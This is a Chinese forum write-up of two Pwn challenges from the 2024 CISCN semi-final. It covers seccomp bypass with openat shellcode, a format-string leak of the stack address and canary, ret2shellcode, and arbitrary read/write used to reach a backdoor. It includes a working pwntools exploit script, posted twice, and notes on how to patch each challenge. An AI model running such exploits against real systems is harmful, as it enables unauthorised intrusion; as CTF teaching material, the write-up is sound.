首页
社区
课程
招聘
2024全国大学生信息安全竞赛(ciscn)半决赛华东北赛区Pwn题解
发表于: 2024-6-24 16:26 9195

2024全国大学生信息安全竞赛(ciscn)半决赛华东北赛区Pwn题解

2024-6-24 16:26
9195

打过的最离谱的AWDP比赛,8个web,2个pwn。

准备了很久高版本IO、LLVM、Protobuf和Kernel,结果出了2个没libc的栈题。

存在一个严重问题,Break和Fix的靶机是同一个,Fix时会把靶机环境替换。

(明显是AWD平台改的,只是把提交别人Flag得分改为提交自己Flag得分,然后加了Check功能)

(这样的话完全可以上传后门函数或者Shell直接拿下自己靶机得到Flag)

往年华东北的Pwn题是所有赛区最难的,今年成最简单的了,给了2个栈签到题。

抛开题目和靶场不说,给茶歇点赞,空调也很给力。(差点冻死

开局5分钟就看到有人把2个pwn题ak了,这里写一下正解。

image-20240624155039133

开启了沙箱保护,禁用execve和open:

拖入IDA分析:

image-20240624151738503

菜单,1是栈溢出,2是格式化字符串。并且程序没开启NX保护,栈上可以同时写和执行。

直接ret2shellcode执行syscall即可打orw,禁用open用openat替换即可。

通过格式化字符串泄露栈地址和canary,然后写入shellcode,覆盖返回地址为栈地址即可。

由于我写的shellcode比较长,分了2段来执行,也可以优化下汇编一次执行完。

Fix很简单,直接把0x60栈溢出改为0x40即可。

题目是静态编译的,可以先导入符号表还原符号:

image-20240624152324229

然后根据字符串交叉引用定位到main函数:

image-20240624152349734

提供几个函数,ls为空函数,其它函数逐个分析。

add函数:

image-20240624152429259

会在qword_4E82F0分配一个空间,每个空间大小为12。

初始位置为8(即size),偏移量为4的地方可以写入8字节数据。

edit函数:

image-20240624152621697

任意地址写。

del函数:

image-20240624152651630

没用,清空数据。

get函数:

image-20240624152725511

任意地址读。

check函数:

image-20240624153018445

调用sub_401D6A函数读取flag,并返回flag的前8个字符。

image-20240624153045418

然后,将flag的前8个字符赋值给magic,并调用evalMagic函数:

image-20240624153131638

它会循环四次,判断前4个空间的值是否和magic相等。如果都相等调用后门函数读取Flag并输出:

image-20240624153221143

利用思路很简单,任意写、任意读、存在后门函数。

先让程序执行一次check将flag的前8字节读入到可分配的空间中。

然后任意地址读读出来flag的前8字节,此时magic的值即这8个字节。

然后循环计算出magic的值,通过任意地址写满足if的条件触发后门函数即可。

Fix实在没什么好说的,后门函数是作者故意写的,而且留了可以任意写和读的漏洞。

刚开始想着正解把任意写和任意读迁移到eh_frame段执行正确的清空和读取操作,但是check失败了。

最后想想这个后门函数也不合理,直接把后门函数nop掉就防御成功了,也就没再深究,很无语。

➜  pwn1 seccomp-tools dump ./pwn
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x06 0xffffffff  if (A != 0xffffffff) goto 0011
 0005: 0x15 0x05 0x00 0x00000002  if (A == open) goto 0011
 0006: 0x15 0x04 0x00 0x00000013  if (A == readv) goto 0011
 0007: 0x15 0x03 0x00 0x00000014  if (A == writev) goto 0011
 0008: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0011
 0009: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0011
 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0011: 0x06 0x00 0x00 0x00000000  return KILL
➜  pwn1 seccomp-tools dump ./pwn
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x06 0xffffffff  if (A != 0xffffffff) goto 0011
 0005: 0x15 0x05 0x00 0x00000002  if (A == open) goto 0011
 0006: 0x15 0x04 0x00 0x00000013  if (A == readv) goto 0011
 0007: 0x15 0x03 0x00 0x00000014  if (A == writev) goto 0011
 0008: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0011
 0009: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0011
 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0011: 0x06 0x00 0x00 0x00000000  return KILL
from pwn import *
 
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
# p = process([elf.path])
p = remote('192.55.1.156', '80')
 
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
 
# gdb.attach(p, 'b *$rebase(0x14B7)\nc')
# pause()
 
# leak stack
p.sendlineafter(b'name\n', b'1')
p.sendafter(b'name\n', b'%18$p')
p.sendlineafter(b'name\n', b'2')
p.recvuntil(b'0x')
buf_addr = int(p.recv(12), 16) - 0x60
success('buf_addr = ' + hex(buf_addr))
 
# leak canary
p.sendlineafter(b'name\n', b'1')
p.sendafter(b'name\n', b'a' * 0x49)
p.sendlineafter(b'name\n', b'2')
p.recvuntil(b'a' * 0x49)
canary = u64(p.recv(7).rjust(8, b'\x00'))
success('canary = ' + hex(canary))
 
# ret2shellcode
shellcode = asm("""
    mov rax, 0x67616c662f2e ;// ./flag
    push rax
    mov rdi, -100
    mov rsi, rsp
    xor rdx, rdx
    mov rax, 257 ;// SYS_openat
    syscall
    mov rdi, rax ;// fd
    mov rsi, {} ;
    mov rdx, 0x20 ;// nbytes
    xor rax, rax ;// SYS_read
    syscall
    mov rax, {}
    push rax
    ret
""".format(buf_addr, buf_addr + 0x60))
print(hex(len(shellcode)))
shellcode = shellcode.ljust(0x48, b'\x00')
shellcode += p64(canary) + p64(0xdeadbeef) + p64(buf_addr)
shellcode += asm('''
    mov rdi, 1 ;// fd
    mov rsi, {} ;// buf
    mov rax, 1 ;// SYS_write
    syscall
    mov rdi, 123 ;// error_code
    mov rax, 60
    syscall
'''.format(buf_addr))
print(len(shellcode))
p.sendlineafter(b'name\n', b'1')
p.sendafter(b'name\n', shellcode)
 
# gdb.attach(p, 'b *$rebase(0x14D7)')
# pause()
 
p.sendlineafter(b'name\n', b'3')
 
p.interactive()
from pwn import *
 
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
# p = process([elf.path])
p = remote('192.55.1.156', '80')
 
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
 
# gdb.attach(p, 'b *$rebase(0x14B7)\nc')
# pause()
 
# leak stack
p.sendlineafter(b'name\n', b'1')
p.sendafter(b'name\n', b'%18$p')
p.sendlineafter(b'name\n', b'2')
p.recvuntil(b'0x')
buf_addr = int(p.recv(12), 16) - 0x60
success('buf_addr = ' + hex(buf_addr))
 
# leak canary
p.sendlineafter(b'name\n', b'1')
p.sendafter(b'name\n', b'a' * 0x49)
p.sendlineafter(b'name\n', b'2')
p.recvuntil(b'a' * 0x49)

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 1
支持
分享
最新回复 (3)
雪    币: 391
活跃值: (260)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
开局5分钟ak,厉害,我看着跟着分析这些逆向结果都要好久了
2024-6-24 21:15
1
雪    币: 2592
活跃值: (1000)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
3
ma9ic 开局5分钟ak,厉害,我看着跟着分析这些逆向结果都要好久了

差点没吓死我,直到我做了web3,才发现这个平台它的fix靶机和break靶机是同一个。
也就是说,5分钟ak的师傅应该是直接传了一个带system("/bin/sh")的程序,然后直接ls、cat了。

最后于 2024-6-25 00:41 被Real返璞归真编辑 ,原因:
2024-6-25 00:40
0
雪    币: 391
活跃值: (260)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
Real返璞归真 ma9ic 开局5分钟ak,厉害,我看着跟着分析这些逆向结果都要好久了 差点没吓死我,直到我做了web3,才发现这个平台它的fi ...
哈哈,原来如此,厉害了师傅
2024-6-25 08:38
0
游客
登录 | 注册 方可回帖
返回
//